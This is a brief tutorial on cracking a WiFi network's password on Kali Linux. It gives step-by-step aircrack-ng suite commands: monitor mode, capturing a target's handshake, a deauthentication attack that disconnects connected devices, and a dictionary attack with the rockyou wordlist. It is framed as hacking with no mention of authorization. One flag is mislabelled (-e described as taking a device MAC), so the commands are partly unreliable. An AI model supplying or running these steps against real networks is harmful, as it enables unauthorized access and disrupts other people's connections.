

To hack a wireless network, you need a wireless card with two features:

1. Make sure your card supports monitor mode/promiscuous mode
2. Make sure your card is capable of performing packet injection.

Now, we will be using Kali Linux with the ALFA W115 short Range adapter.

Wifi Hacking Commands:

1. `sudo su`
2. `cd /home/kali/Desktop/`
3. `airmon-ng start wlan0` [Before and after check model: `iwconfig`]
4. `airodump-ng wlan0`
5. `airodump-ng --bssid "mac of wifi" --channel "No" --write hack wlan0`

Open New Terminal:

1. `cd /home/kali/Desktop/`
2. `aireplay-ng --deauth 25 -a "mac of wifi" -e "mac of connected device" wlan0`

If rockyou.txt file is in zipped format: `gzip -d rockyou.txt.gz`

Else: `aircrack-ng hack-01.cap -w /usr/share/wordlists/rockyou.txt`